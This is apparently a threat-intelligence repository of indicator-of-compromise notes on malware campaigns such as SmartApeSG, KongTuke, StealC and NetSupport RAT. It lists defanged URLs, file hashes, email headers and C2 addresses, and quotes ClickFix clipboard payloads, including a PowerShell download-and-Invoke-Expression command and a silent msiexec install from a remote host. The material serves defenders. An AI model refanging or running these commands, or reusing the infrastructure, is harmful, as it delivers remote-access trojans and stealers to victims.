├── README.md ├── 2025-07-22-SmartApeSG-URLs.txt ├── 2025-11-18-KongTuke-activity.txt ├── 2025-07-17-SmartApeSG-for-NetSupport-RAT.txt ├── 2025-06-27-IOCs-for-SmartApeSG-to-ClickFix-page-to-NetSupport-RAT.txt ├── 2025-08-27-SmartApeSG-activity-for-NetSupport-RAT.txt ├── 2025-10-16-IOCs-for-unidentified-stealer-loader.txt ├── 2025-08-20-IOCs-for-Kongtuke-activity.txt ├── 2025-03-05-Astaroth-Guildma-activity-from-Brazil-malspam.txt ├── 2025-03-24-GuLoader-for-Remcos-RAT.txt ├── 2025-09-29-RMM-tool-distributed-through-email.txt ├── 2025-10-10-IOCs-for-malicious-Windows-shortcut-files-on-WebDAV-server.txt ├── 2025-04-17-IOCs-for-MassLogger-infection.txt ├── 2025-09-25-RMM-tool-distributed-through-email.txt ├── 2025-04-22-IOCs-for-ClickFix-style-campaign-leading-to-StealC-infection.txt ├── 2025-08-22-IOCs-for-SmartApeSG-activity.txt ├── 2025-02-25-IOCs-for-Venom-RAT-activity.txt ├── 2025-02-05-ClearFake-or-ClickFix-fake-CAPTCHA-for-possible-Vidar.txt ├── 2025-08-01-Lumma-Stealer-notes.txt ├── 2025-02-12-VIP-recovery-infection.txt └── LICENSE /README.md: -------------------------------------------------------------------------------- 1 | # indicators 2 | This repository has Indicators of Compromise (IOCs) from malware or suspicious network traffic. 3 | -------------------------------------------------------------------------------- /2025-07-22-SmartApeSG-URLs.txt: -------------------------------------------------------------------------------- 1 | 2025-07-22 (TUESDAY): URLS FOR SMARTAPESG CAMPAIGN USING CLICKFIX LURE TO PUSH NETSUPPORT RAT: 2 | 3 | REFERENCE: 4 | 5 | - https://bsky.app/profile/malware-traffic-analysis.net/post/3lul6rf3py226 6 | 7 | URL LIST: 8 | 9 | - hxxps[:]//headtechnologies[.]xyz/sourcetag/enroll.js 10 | - hxxps[:]//headtechnologies[.]xyz/sourcetag/index.php?OQBEsNAg 11 | - hxxps[:]//headtechnologies[.]xyz/sourcetag/buffer.js?c34e4a6845 12 | - hxxps[:]//impactodediostv[.]com/lal1.php 13 | - hxxp[:]//www.austinroofs[.]net/wrbe.zip?l=2680 14 | -------------------------------------------------------------------------------- /2025-11-18-KongTuke-activity.txt: -------------------------------------------------------------------------------- 1 | 2025-11-18: KONGTUKE ACTIVITY USES CLICKFIX LURE 2 | 3 | REFERENCES: 4 | 5 | - https://infosec.exchange/@malware_traffic/115571641156905015 6 | - https://isc.sans.edu/diary/KongTuke+activity/32498 7 | 8 | INFORMATION: 9 | 10 | [compromised site] 11 | 12 | KONGTUKE SCRIPT IN PAGE FROM COMPROMISED SITE: 13 | 14 | - hxxps[:]//apraadhi[.]com/6h9k.js 15 | 16 | FAKE CAPTCHA PAGE THAT INJECTS CLICKFIX CONTENT INTO CLIPBOARD: 17 | 18 | - hxxps[:]//apraadhi[.]com/js.php?device=windows&ip=[base64 text]&refferer=[base64 text]&browser=[base64 text]&ua=[base64 text]&loc=VVM=&is_ajax=1 19 | 20 | URL FROM THE CLICKFIX CONTENT: 21 | 22 | - hxxp[:]//69.67.172[.]194:6655/ab 23 | 24 | FOLLOW-UP URL: 25 | 26 | - hxxp[:]//69.67.172[.]194:6655/se 27 | -------------------------------------------------------------------------------- /2025-07-17-SmartApeSG-for-NetSupport-RAT.txt: -------------------------------------------------------------------------------- 1 | 2025-07-17 (THURSDAY): SMARTAPESG CAMPAIGN PUSHING NETSUPPORT RAT 2 | 3 | REFERENCES: 4 | 5 | - https://infosec.exchange/@monitorsg/114867563467717172 6 | - https://bsky.app/profile/malware-traffic-analysis.net/post/3lu64agx45k2h 7 | 8 | COMPROMISED WEBSITE WITH INJECTED SMARTAPESG SCRIPT: 9 | 10 | - mexicobusiness[.]news 11 | 12 | URLS LEADING TO AND FOR FAKE VERIFICATION PAGE: 13 | 14 | - hxxps[:]//as5yo[.]top/xxx/include.js 15 | - hxxps[:]//as5yo[.]top/xxx/index.php?FGUEgYoL 16 | - hxxps[:]//as5yo[.]t[op/xxx/buffer.js?31d1935e76 17 | 18 | URLS FROM PASTED SCRIPT AND FOR NETSUPPORT RAT ZIP DOWNLOAD: 19 | 20 | - hxxp[:]//lpdesigns[.]uk/lal.ps1 21 | - hxxps[:]//lpdesigns[.]uk/lal.ps1 22 | - hxxps[:]//lpdesigns[.]uk/bemo.zip?l=5006 23 | 24 | NETSUPPORT RAT ZIP PACKAGE: 25 | 26 | - SHA256 hash: 6083f9a13c8d26fd26afe3e2befe3f41338441ef6d58efe35682afc5900e4cef 27 | - File size: 7,553,019 bytes 28 | - File location: hxxps[:]//lpdesigns[.]uk/bemo.zip 29 | - File type: Zip archive data, at least v2.0 to extract, compression method=deflate 30 | 31 | NETSUPPORT RAT C2 SERVER: 32 | 33 | - 185.163.45[.]97:443 34 | - 35 | -------------------------------------------------------------------------------- /2025-06-27-IOCs-for-SmartApeSG-to-ClickFix-page-to-NetSupport-RAT.txt: -------------------------------------------------------------------------------- 1 | 2025-06-27 (FRIDAY): SMARTAPESG INFECTION CHAIN LEADS TO CLICKFIX LURE FOR NETSUPPORT RAT 2 | 3 | REFERENCES: 4 | 5 | - https://infosec.exchange/@malware_traffic/114756862448741046 6 | - https://bsky.app/profile/malware-traffic-analysis.net/post/3lsmdw2cuq227 7 | - https://www.linkedin.com/posts/bradley-duncan-13477868_smartapesg-clickfix-netsupport-activity-7344444247430832128-fVZj/ 8 | 9 | URL SEQUENCE LEADING TO CLICKFIX PAGE: 10 | 11 | - hxxps[:]//palcomp3[.]top/sss/buf.js 12 | - hxxps[:]//palcomp3[.]top/sss/index.php?GQX1KqUM 13 | - hxxps[:]//palcomp3[.]top/sss/bof.js?19ec2a189848bc0bfa 14 | 15 | EXAMPLE OF SCRIPT INJECTED INTO VICTIM'S CLIPBOARD 16 | 17 | C:\WINDOWS\system32\cmd.exe /min /c powershell -NoP 18 | -ExecutionPolicy Bypass -w 1 -c 19 | "$p1='hxxps[:]//camplively';$p2='.com/all.php'; 20 | $af=$p1+$p2; $xo=(Invoke-WebRequest -UseBasicParsing $af).Content; 21 | Invoke-Expression $xo" 22 | 23 | URL SEQUENCE TO RETRIEVE ZIP ARCHIVE FOR NETSUPPORT RAT AFTER RUNNING ABOVE SCRIPT: 24 | 25 | - hxxps[:]//camplively[.]com/all.php 26 | - hxxps[:]//camplively[.]com/smks.zip?lap=3928 27 | 28 | SHA256 HASH FOR SMKS.ZIP ARCHIVE CONTAINING MALICIOUS NETSUPPORT RAT PACKAGE: 29 | 30 | - 3be246afee53241eaa9c1f74d6720cc5d1004846ded378bd4b1040064b5631c5 31 | 32 | NETSUPPORT RAT C2 TRAFFIC: 33 | 34 | - 185.163.45[.]30:443 - HTTP traffic 35 | -------------------------------------------------------------------------------- /2025-08-27-SmartApeSG-activity-for-NetSupport-RAT.txt: -------------------------------------------------------------------------------- 1 | 2025-08-27 (WEDNESDAY): SMARTAPESG --> FAKE CAPTCHA PAGE --> CLICKFIX SCRIPT --> NETSUPPORTRAT 2 | 3 | NOTES: 4 | 5 | - The "SG" in SmartApeSG stands for SocGholish: 6 | -- https://www.threatdown.com/blog/smartapesg-06-11-2024/ 7 | 8 | INDICATORS: 9 | 10 | PAGE FROM COMPROMISED SITE WITH INJECTED SMARTAPESG SCRIPT: 11 | 12 | - hxxps[:]//spotlightonpoverty[.]org/ 13 | 14 | URL FROM INJECTED SMARTAPESG SCRIPT: 15 | 16 | - hxxps[:]//cansupeker[.]com/d.js <-- 302 redirect to next URL 17 | 18 | SMARTAPESG SCRIPT FOR FAKE CAPTCHA PAGE: 19 | 20 | - hxxps[:]//shark-watewer[.]com/ajax/pixi.min.js 21 | 22 | EXAMPLE OF CLICKFIX SCRIPT INJECTED INTO CLIPBOARD: 23 | 24 | msiexec /i hxxps[:]//stradomi[.]com/res/expectmatter /qn aa43a14b=ee36d492+acfb6c18*b4ac8e75)2f6b4cdc(bad2ec9e(8fa6222b+14672c69 25 | 26 | RUNNING THE ABOVE SCRIPT: 27 | 28 | - hxxps[:]//stradomi[.]com/res/expectmatter <-- returned MSI file 29 | - hxxps[:]//stradomi[.]com/wear.pdb 30 | - hxxps[:]//stradomi[.]com/assets/img/fe99357658356062.txt 31 | 32 | EXAMPLE OF MSI FOR NETSUPPORT RAT RETRIEVED BY ABOVE CLICFIX SCRIPT: 33 | 34 | - SHA256 hash: b32a45a5f619bf615d44e5d620c18cf452154482f0453fa79461060ac502eede 35 | - File size: 2,547,712 bytes 36 | - File type: Microsoft Installer (.msi) file 37 | 38 | NETSUPPORT RAT C2 SERVER: 39 | 40 | 41 | - 194.37.97[.]139:443 42 | -------------------------------------------------------------------------------- /2025-10-16-IOCs-for-unidentified-stealer-loader.txt: -------------------------------------------------------------------------------- 1 | 2025-10-16 (THURSDAY): UNIDENTIFIED STEALER/LOADER 2 | 3 | NOTES: 4 | 5 | - Found this while searching for URLs that match patterns previously seen for Koi Loader/Stealer. 6 | - But this isn't Koi Laoder/Stealer. 7 | 8 | INITIAL URL: 9 | 10 | - hxxps[:]//sites.google.com/view/sdq87s/samsung-s10?sharedfile=chase_statement_10_2025.pdf&hid=323543677823 11 | 12 | INITIAL DOWNLOAD: 13 | 14 | - hxxps[:]//bantzlaw[.]com/chase_bank_statement_10_2025.rar <-- contains chase_bank_statement_10_2025.lnk 15 | 16 | URL GENERATED FROM THE EXTRACTED WINDOWS SHORTCUT THAT RETURNED POWERSHELL TEXT: 17 | 18 | - hxxps[:]//bantzlaw[.]com/dwnld.mp4 19 | 20 | INITIAL MALWARE (STEALER/LOADER): 21 | 22 | - hxxps[:]//bantzlaw[.]com/prefiction.exe 23 | 24 | POST-INFECTION TRAFFIC FROM INITIAL MALWARE: 25 | 26 | - hxxps[:]//telegram[.]me/cholars 27 | - hxxps[:]//p.x.compuegypt[.]net/ <-- repeats several times, first is GET, remaining are POST requests 28 | 29 | FOLLOW-UP MALWARE: 30 | 31 | - hxxps[:]//www.sgeseducation[.]com/verbomania.exe 32 | 33 | SHA256 HASHES FOR THE ASSOCIATED FILES: 34 | 35 | - b176db54cc617f08375e07acc2358896d6c588fdf79587f5bc28c271ba58f1db chase_bank_statement_10_2025.rar 36 | - 7f5f4e69539926f43f4adca1bec4c6efe66471e945c41a3f2dcefd70424d0cc7 chase_bank_statement_10_2025.lnk 37 | - c6dfe87fec16150154e837ff50b8810233e5ddd8ae098e1f73f14b68b85618e1 dwnld.mp4 38 | - 3837122809f16d6f40c9bba5590d3ba5990e4f580f9a661561fd2f9e198d0196 prefiction.exe 39 | - 1184fd75e20d8ce8f022c1b14114ef97e5214b2100cf37fa872da8e19db6c6d3 verbomania.exe 40 | -------------------------------------------------------------------------------- /2025-08-20-IOCs-for-Kongtuke-activity.txt: -------------------------------------------------------------------------------- 1 | 2025-08-20 (WEDNESDAY): KONGTUKE ACTIVITY USING "FILEFIX" STYLE CLICKFIX 2 | 3 | REFERENCES: 4 | 5 | - https://infosec.exchange/@monitorsg/115061260245537096 6 | - https://infosec.exchange/@malware_traffic/115062221525187895 7 | - https://bsky.app/profile/malware-traffic-analysis.net/post/3lwtw7ftl622s 8 | 9 | ASSOCIATED DOMAINS OR IP ADDRESSES: 10 | 11 | - netaworldjournal[.]org - Compromised site serves pages with Kongtuke-style injected script 12 | - bradtae[.]com - Domain showing fake CAPTCHA page 13 | - 212.22.86[.]82:2020 - Server contacted if user runs pastes and runs the clipboard-injected script 14 | - comparisons-builder-loves-ratios.trycloudflare[.]com - Domain called by clipboard-injected script 15 | - angels-toll-milton-lyrics.trycloudflare[.]com - Domain that receives users's system information from HTTP POST request 16 | 17 | URL CHAIN OF EVENTS: 18 | 19 | - hxxps[:]//netaworldjournal[.]org/ 20 | - hxxps[:]//bradtae[.]com/5tr4r.js 21 | - hxxps[:]//bradtae[.]com/js.php?device=windows&ip=[base64 text]&refferer=[base64 text]&domain=[base64 text]&loc=[base64 text]&is_ajax=1 22 | - hxxp[:]//212.22.86[.]82:2020/home 23 | - hxxps[:]//comparisons-builder-loves-ratios.trycloudflare[.]com/second.html 24 | - hxxp[:]//angels-toll-milton-lyrics.trycloudflare[.]com/z9Q0a52vgSE 25 | 26 | MY MOST RECENT SUCCESSFUL KONGTUKE ACTIVITY: 27 | 28 | - I had what appears to be the same type of malware infection from Kongtuke in June 2025, but it was a successful infection run. 29 | - This was before Kongtuke started using "FileFix" style ClickFix. 30 | - Details at: https://www.malware-traffic-analysis.net/2025/06/13/index.html 31 | -------------------------------------------------------------------------------- /2025-03-05-Astaroth-Guildma-activity-from-Brazil-malspam.txt: -------------------------------------------------------------------------------- 1 | 2025-03-05 (WEDNESDAY): ASTAROTH (GUILDMA) ACTIVITY FROM BRAZIL MALSPAM 2 | 3 | REFERENCES: 4 | 5 | - https://infosec.exchange/@malware_traffic/114110697832104979 6 | - https://bsky.app/profile/malware-traffic-analysis.net/post/3ljnegzmvuk2w 7 | - https://www.linkedin.com/posts/bradley-duncan-13477868_astaroth-guildma-malspam-activity-7303085764102230019-Mype/ 8 | - https://x.com/malware_traffic/status/1897320613011984409 9 | 10 | EMAIL INFORMATION: 11 | 12 | - Received: from vps-04c4ac44.vps.ovh[.]ca (vps-04c4ac44.vps.ovh.ca [139.99.236[.]30]) [info removed]; Wed, 05 Mar 2025 04:22:10 +0000 (UTC) 13 | - Subject: Documento Pendente de Assinatura. Protocolo: 833859267 14 | - From: docusing@suporte[.]com 15 | - Message-Id: <20250305025259.D1F4B637D5@vps-04c4ac44.vps.ovh[.]ca> 16 | - Date: Tue, 4 Mar 2025 23:44:44 +0000 (UTC) 17 | - Link from email: hxxps[:]//222.20.205[.]92.host.secureserver[.]net/contrato/Autenticar_PDF_462259 18 | 19 | DOWNLOADED ZIP ARCHIVE: 20 | 21 | - SHA256 hash: 7c52398c1dc9a80d62e8adf6f5d0b44473aa65ccec0d0c33b3c0590f88bb4d7d 22 | - File size: 1,625 bytes 23 | - File name: Autenticar_PDF_462259.zip 24 | - File type: Zip archive data, at least v2.0 to extract 25 | 26 | WINDOWS SHORTCUT EXTRACTED FROM ABOVE ZIP ARCHIVE: 27 | 28 | - SHA256 hash: fcbbd85e7570d4332f031bb6e4d33f520bdc83abe51e5d81bc6cd3a066a56dbc 29 | - File size: 1,586 bytes 30 | - File name: Autenticar_PDF_462259.lNk 31 | - File type: MS Windows shortcut, Item id list present, Has Working directory, Has command line arguments, window=hidenormalshowminimized 32 | 33 | URL GENERATED BY ABOVE WINDOWS SHORTCUT: 34 | 35 | - hxxps[:]//fragoncal707.trovaodoceara[.]mom/?1/ 36 | -------------------------------------------------------------------------------- /2025-03-24-GuLoader-for-Remcos-RAT.txt: -------------------------------------------------------------------------------- 1 | 2025-03-24 (MONDAY): GULOADER FOR REMCOS RAT 2 | 3 | INFECTION CHAIN OF EVENTS: 4 | 5 | - email --> zip attachment --> extracted EXE for GuLoader --> GuLoader retrieves encoded/encrypted binary --> Remcos RAT C2 traffic 6 | 7 | SELECT HEADERS FROM THE EMAIL: 8 | 9 | - Received: from eth2.wheatusa.com (eth2.wheatusa[.]com [198.46.211[.]183]) 10 | [information removed]; Mon, 24 Mar 2025 05:14:00 +0000 (UTC) 11 | - From: "=?UTF-8?B?QW5kaSDFnkFIxLBO?=" 12 | - Subject: Quotation Request | PO-3242520 13 | - Date: 23 Mar 2025 22:13:58 -0700 14 | - Message-ID: <20250323221358.3AF1BED63E870362@wheatusa[.]com> 15 | - Attachment name: PO-3242520.zip 16 | 17 | ASSOCIATED FILES: 18 | 19 | - SHA256 hash: 90a25013623e2abe0d2bc45ac51395c7ef5b7f26a407bbbd53d2bf9dd07ab454 20 | - File size: 664,656 bytes 21 | - File name: PO-3242520.zip 22 | - File type: Zip archive data, at least v2.0 to extract 23 | - File description: zip archive attached to email 24 | 25 | - SHA256 hash: 6b360c2069f357d8d3c9be08c691e45d97154a6f3ae378353a75ab90dd9a464f 26 | - File size: 748,273 bytes 27 | - File name: PO-3242520.pif 28 | - File type: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive 29 | - File description: GuLoader for Remcos RAT 30 | 31 | - SHA256 hash: a33e8025271934b9a5d27e8afb1aff2769c4114de27214a5feb386b03724c5fe 32 | - File size: 498,752 bytes 33 | - File location: hxxps[:]//drive.google[.]com/uc?export=download&id=19ZrktsMMZnUS9W7UxksdyE4skK75VYd2 34 | - File type: data 35 | - File description: Data binary retreived by GuLoader for Remcos RAT 36 | 37 | TRAFFIC FROM AN INFECTION: 38 | 39 | GULOADER RETRIEVES ENCODED/ENCRYPTED BINARY: 40 | 41 | - hxxps[:]//drive.google[.]com/uc?export=download&id=19ZrktsMMZnUS9W7UxksdyE4skK75VYd2 42 | 43 | REMCOS RAT C2 TRAFFIC: 44 | 45 | - 176.65.142[.]81 port 9090 - TLSv1.3 traffic 46 | 47 | LOCATION CHECK BY INFECTED WINDOWS HOST: 48 | 49 | - hxxp[:]//geoplugin[.]/net/json.gp -------------------------------------------------------------------------------- /2025-09-29-RMM-tool-distributed-through-email.txt: -------------------------------------------------------------------------------- 1 | 2025-09-29 (MONDAY): RMM TOOL DISTRIBUTED THROUGH EMAIL 2 | 3 | NOTES: 4 | 5 | - This is a follow-up from the same campaign I saw last week: 6 | -- https://github.com/malware-traffic/indicators/blob/main/2025-09-25-RMM-tool-distributed-through-email.txt 7 | - I've been getting one or two of these emails almost every day since then. 8 | - More info on Remote Monitoring and Management (RMM) tools at: 9 | -- https://www.proofpoint.com/us/blog/threat-insight/remote-monitoring-and-management-rmm-tooling-increasingly-attackers-first-choice 10 | 11 | CHAIN OF EVENTS: 12 | 13 | - Email --> link --> download and run EXE 14 | 15 | SELECT EMAIL HEADERS: 16 | 17 | - Return-Path: <0100019997ad988e-8d869e1a-117d-4074-b4e0-3007733eef63-000000@notifications.email.frame[.]io> 18 | - Received: from a9-112.smtp-out.amazonses[.]com (a9-112.smtp-out.amazonses.com [54.240.9[.]112]) 19 | - From: "Wiikins Via DocuSign (via Frame[.]io)" 20 | - Subject: Wiikins Via DocuSign shared “SECURE DOCUMENT” with you 21 | - Date: Mon, 29 Sep 2025 22:52:40 +0000 22 | - Message-ID: <0100019997ad988e-8d869e1a-117d-4074-b4e0-3007733eef63-000000@email.amazonses[.]com> 23 | 24 | LINK FROM THE EMAIL: 25 | 26 | - hxxps[:]//next.frame[.]io/d5ee2df1-dac6-4161-b521-9fd746f05e8a? 27 | component_clicked=transactional_call_to_action& 28 | email_id=e1edc66d-eb03-4072-b14c-a2409d71a985& 29 | email_type=transactional& 30 | notification_type=share_reviewer_added 31 | 32 | FRAME[.]IO PAGE: 33 | 34 | - hxxps[:]//next.frame[.]io/share/d5ee2df1-dac6-4161-b521-9fd746f05e8a/view/ 35 | 831057cd-e7b0-4992-bac3-d1fbdaf6853f 36 | 37 | LINK FROM FRAME[.]IO PAGE: 38 | 39 | - hxxps[:]//tinyurl[.]com/4d2px8hv 40 | 41 | MALICIOUS FILE INFO: 42 | 43 | - SHA256 hash: f3659b83f32ff128eed855d35ee5de2f2a4d88e70c495aac5432e8433bab8e76 44 | - File size: 24,444,392 bytes 45 | - File location: hxxps[:]//pub-eca5197dadd64467ac48596102af55b0.r2[.]dev/Adobe_Acrobat.exe 46 | - File type: PE32 executable (GUI) Intel 80386, for MS Windows 47 | -------------------------------------------------------------------------------- /2025-10-10-IOCs-for-malicious-Windows-shortcut-files-on-WebDAV-server.txt: -------------------------------------------------------------------------------- 1 | 2025-10-10 (FRIDAY): MALICIOUS WINDOWS SHORTCUT FILES ON WEBDAV SERVER AT 81.90.31[.]181 2 | 3 | NOTES: 4 | 5 | - Was originally looking for Koi Loader/Koi Stealer, but found something else. 6 | - Yesterday, the files on the WebDAV server retrieved a ScreenConnect malicious package. 7 | - I'm not sure what this is supposed to be. 8 | - I had to run the final EXE on a physical host, because it didn't do anything in a VM. 9 | 10 | INITIAL WINDOWS SHORTCUTS ON WEBDAV SERVER: 11 | 12 | - SHA256 hash: 2219baeba8f1f0610581f45d595d1797b4e609889a60ce6a55db15c3cdefc333 13 | - File size: 2,630 bytes 14 | - File type: MS Windows shortcut 15 | - File location: \\81.90.31[.]181\Documents\BookingConfirmation.lnk 16 | - File location: \\81.90.31[.]181\Documents\RentalAgreetment.lnk 17 | - Sample: https://bazaar.abuse.ch/sample/2219baeba8f1f0610581f45d595d1797b4e609889a60ce6a55db15c3cdefc333/ 18 | 19 | INITIAL FILE RETRIEVED BY THE ABOVE SHORTCUTS AND RUN BY POWERSHELL: 20 | 21 | - SHA256 hash: 620bc52f54c5ec1a97ebd2cbee7073166e3732d6f346fa140ff307088821be19 22 | - File size: 6,911 bytes 23 | - File type: ASCII text, with very long lines (3339), with CRLF line terminators 24 | - File location: hxxps[:]//ukcollegeonline[.]com/st.mp4 25 | - Sample: https://bazaar.abuse.ch/sample/620bc52f54c5ec1a97ebd2cbee7073166e3732d6f346fa140ff307088821be19/ 26 | 27 | FOLLOW-UP FILE RETRIEVED BY THE ABOVE FILE: 28 | 29 | - SHA256 hash: df5f8f92b644b1d08ab6edbe6d89bf411652af74e059dd299006441ce5902cd5 30 | - File size: 603,136 bytes 31 | - File type: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows 32 | - File location: hxxps[:]//ukcollegeonline[.]com/BookingcConfirmation.exe 33 | - File location: C:\Users\[username]\AppData\Roaming\BookingcConfirmation.exe 34 | - Sample: https://bazaar.abuse.ch/sample/df5f8f92b644b1d08ab6edbe6d89bf411652af74e059dd299006441ce5902cd5/ 35 | 36 | POST-INFECTION TRAFFIC GENERATED BY THE ABOVE EXE FILE: 37 | 38 | - 151.243.113[.]5:80 - windows-telemerty[.]live - POST /check_tasks 39 | -------------------------------------------------------------------------------- /2025-04-17-IOCs-for-MassLogger-infection.txt: -------------------------------------------------------------------------------- 1 | 2025-04-17 (THURSDAY): EMAIL WITH MALICIOUS ATTACHMENT FOR MASSLOGGER MALWARE 2 | 3 | SELECTED EMAIL HEADERS: 4 | 5 | - Received: from [45.141.233[.]51] (unknown [45.141.233[.]51]) [information removed] 6 | - Reply-To: Ghufran.ameenAlhajjaj-kentplc.com 7 | - From: Ghufran.ameenAlhajjaj@kentplc[.]com 8 | - To: brad@malware-traffic-analysis[.]net 9 | - Subject: SOA BANK RE-CONFIRMATION // REMITTANCE DATE 18.04.2025 10 | - Date: 17 Apr 2025 03:52:11 -0700 11 | - Message-ID: <20250417035211.1995195ACFF1C9FA@kentplc[.]com> 12 | 13 | - Attachment; filename="SOA BANK RE-CONFIRMATION.rar" 14 | - Attachment; filename="SOA BANK RE-CONFIRMATION.uue" 15 | 16 | EMAIL ATTACHMENT: 17 | 18 | - SHA256 hash: 2989df89b41abf5ecaafeb45715b6d0536513f0f6b7a5c8decee4dca4d416bd8 19 | - File size: 58,894 bytes 20 | - File type: RAR archive data, v5 21 | - File name: SOA BANK RE-CONFIRMATION.rar 22 | - File name: SOA BANK RE-CONFIRMATION.uue 23 | 24 | EXTRACTED SCRIPT FILE: 25 | 26 | - SHA256 hash: 72e2c85f16c8dfd68b73adb136310e1b0159c7503213b232835c71b5e4a913e4 27 | - File size: 120,049 bytes 28 | - File name: ASCII text, with very long lines, with CRLF line terminators 29 | - File type: SOA BANK RE-CONFIRMATION.js 30 | - Sandbox Analysis: https://tria.ge/250418-cdr1ls1ks8 31 | 32 | TRAFFIC FROM AN INFECTION IN MY LAB: 33 | 34 | Date/time Destination IP port Destination domain Info 35 | ----------------------- --------------- ------ --------------------- -------------- 36 | 2025-04-18 01:56:18 UTC 193.122.6[.]168 80 checkip.dyndns[.]org GET / HTTP/1.1 37 | 2025-04-18 01:56:18 UTC 193.122.6[.]168 80 checkip.dyndns[.]org GET / HTTP/1.1 38 | 2025-04-18 01:56:18 UTC 104.21.112[.]1 443 reallyfreegeoip[.]org HTTPS traffic 39 | 2025-04-18 01:56:23 UTC 193.122.6[.]168 80 checkip.dyndns[.]org GET / HTTP/1.1 40 | 2025-04-18 01:56:37 UTC 148.113.1[.]235 587 mail.bouttases[.]fr TLS traffic 41 | 42 | MAIL SERVER INFO FOR THIS MASSLOGGER SAMPLE: 43 | 44 | - Email server: mail.bouttases[.]fr 45 | - Sending email account: admin@bouttases[.]fr 46 | - Receiving email account: collect@bouttases[.]fr 47 | -------------------------------------------------------------------------------- /2025-09-25-RMM-tool-distributed-through-email.txt: -------------------------------------------------------------------------------- 1 | 2025-09-25 (THURSDAY): RMM TOOL DISTRIBUTED THROUGH EMAIL 2 | 3 | REFERENCES: 4 | 5 | - https://infosec.exchange/@malware_traffic/115283052085453494 6 | - https://bsky.app/profile/malware-traffic-analysis.net/post/3lzvywgflok2y 7 | - https://www.linkedin.com/posts/bradley-duncan-13477868_rmm-malware-activity-7378116783456776192-gx-h/ 8 | 9 | NOTE: 10 | 11 | - More info on Remote Monitoring and Management (RMM) tools at: 12 | -- https://www.proofpoint.com/us/blog/threat-insight/remote-monitoring-and-management-rmm-tooling-increasingly-attackers-first-choice 13 | 14 | CHAIN OF EVENTS: 15 | 16 | - Email --> link --> download and run EXE 17 | 18 | SELECT EMAIL HEADERS: 19 | 20 | - Return-Path: <0100019981bd39e1-64ae37d0-6595-4fca-bc6c-3ab8cee5c711-000000@notifications.email.frame[.]io> 21 | - Received: from a9-32.smtp-out.amazonses.com (a9-32.smtp-out.amazonses[.]com [54.240.9[.]32]) 22 | - From: "Mark Anthony Duncan (via Frame.io)" 23 | - Subject: Mark Anthony Duncan shared “SECURE DOCUMENT” with you 24 | - Date: Thu, 25 Sep 2025 16:38:06 +0000 25 | - Message-ID: <0100019981bd39e1-64ae37d0-6595-4fca-bc6c-3ab8cee5c711-000000@email.amazonses[.]com> 26 | 27 | LINK FROM THE EMAIL: 28 | 29 | - hxxps[:]//next.frame[.]io/share/6ebebb75-7e8f-450b-8e4d-414a9a72a759? 30 | component_clicked=transactional_call_to_action& 31 | email_id=f5a48276-9dc1-4f23-b4b4-4b2571bd64cc& 32 | email_type=transactional& 33 | notification_type=share_reviewer_added 34 | 35 | FRAME[.]IO PAGE: 36 | 37 | - hxxps[:]//next.frame[.]io/share/6ebebb75-7e8f-450b-8e4d-414a9a72a759/view/ 38 | d04a83d7-1411-4724-9c63-b2e88c064ca5 39 | 40 | LINK FROM FRAME[.]IO PAGE: 41 | 42 | - hxxps[:]//tinyurl[.]com/3ct76nyn 43 | 44 | MALICIOUS FILE INFO: 45 | 46 | - SHA256 hash: f65a9f2a13dc334628cf4b60789a1e1164e9380cea1ea1077b3b37dd284eecb3 47 | - File size: 24,444,392 bytes 48 | - File location: hxxps[:]//pub-1e3db9f8f16642389256a57f0a2535dd.r2[.]dev/Adobe.exe 49 | - File type: PE32 executable (GUI) Intel 80386, for MS Windows 50 | - Sandbox analysis: https://app.any.run/tasks/a63a5d56-a254-4724-8cab-0e8c3ced0ff4 51 | - Sandbox analysis: https://tria.ge/250927-m5tzdsyydt 52 | -------------------------------------------------------------------------------- /2025-04-22-IOCs-for-ClickFix-style-campaign-leading-to-StealC-infection.txt: -------------------------------------------------------------------------------- 1 | 2025-04-22 (TUESDAY): FAKE CAPTCHA PAGE FOR "CLICK-FIX" STYLE CLIPBOARD HIJACKING LEADS TO STEALC 2 | 3 | EXAMPLE OF A LEGITIMATE BUT COMPROMISED SITE: 4 | 5 | - hxxps[:]//www.renatatacca.com[.]br/ 6 | 7 | TRAFFIC LEADING TO FAKE CAPTCHA PAGE: 8 | 9 | - hxxps[:]//bsc-dataseed.binance[.]org/ <-- repeats several times 10 | - hxxps[:]//gthfjdk.pages[.]dev/win <-- encoded/encrypted data used for fake CAPTCHA page 11 | 12 | URL GENERATED BY POWERSHELL SCRIPT FROM CLIPBOARD: 13 | 14 | - https://tc.easingaffix[.]site/7456f63a46cc318334a70159aa3c4291.txt <-- ofuscated script 15 | 16 | FOLLOW-UP TRAFFIC: 17 | 18 | - hxxps[:]//ar.easingaffix[.]site/7456f63a46cc318334a70159aa3c4291 <-- additional obfuscated script 19 | - hxxps[:]//roadmap.kropentine[.]sbs/84irujfg543.bin <-- Windows EXE file for StealC 20 | - hxxps[:]//miauwonderland[.]help/95e2879446ffa8f1.php <-- HTTP POST request for StealC C2, repeats 21 | 22 | ASSOCIATED FILES: 23 | 24 | - SHA256 hash: fb0b30abd9002e4d4f7e434ec005bd29abd4554de69aafb43604385815117cdc 25 | - File size: 138,414 bytes 26 | - File type: ASCII text, with very long lines, with no line terminators 27 | - File location: hxxps[:]//tc.easingaffix[.]site/7456f63a46cc318334a70159aa3c4291.txt 28 | - File description: Obfuscated PowerShell script 29 | 30 | - SHA256 hash: eaa5c6d8380c018b2bb9d90536b62e4920094509b1916d2bbe42d4528629ee03 31 | - File size: 11,584,801 bytes 32 | - File type: ASCII text, with very long lines, with CRLF line terminators 33 | - File location:hxxps[:]//ar.easingaffix[.]site/7456f63a46cc318334a70159aa3c4291 34 | - File description: Additional obfuscated script retrieved by the above PowerShell script 35 | 36 | - SHA256 hash: 9efb3b655d41be4ed8b3fba0b7f34f90cc7861da036cd3e3eff59f4fba0ff805 37 | - File size: 748,544 bytes 38 | - File type: PE32+ executable (GUI) x86-64, for MS Windows 39 | - File location: hxxps[:]//roadmap.kropentine[.]sbs/84irujfg543.bin 40 | - File description: 64-bit EXE file for StealC 41 | - Sandbox analysis: https://app.any.run/tasks/856ee781-1334-4ed4-9430-72dbf41ff396 42 | - Sandbox analysis: https://tria.ge/submit/250422-vm2khs11aw 43 | -------------------------------------------------------------------------------- /2025-08-22-IOCs-for-SmartApeSG-activity.txt: -------------------------------------------------------------------------------- 1 | 2025-08-22 (FRIDAY): SMARTAPESG CLICKFIX FOR NETSUPPORT RAT 2 | 3 | NOTES: 4 | 5 | - Sometimes, 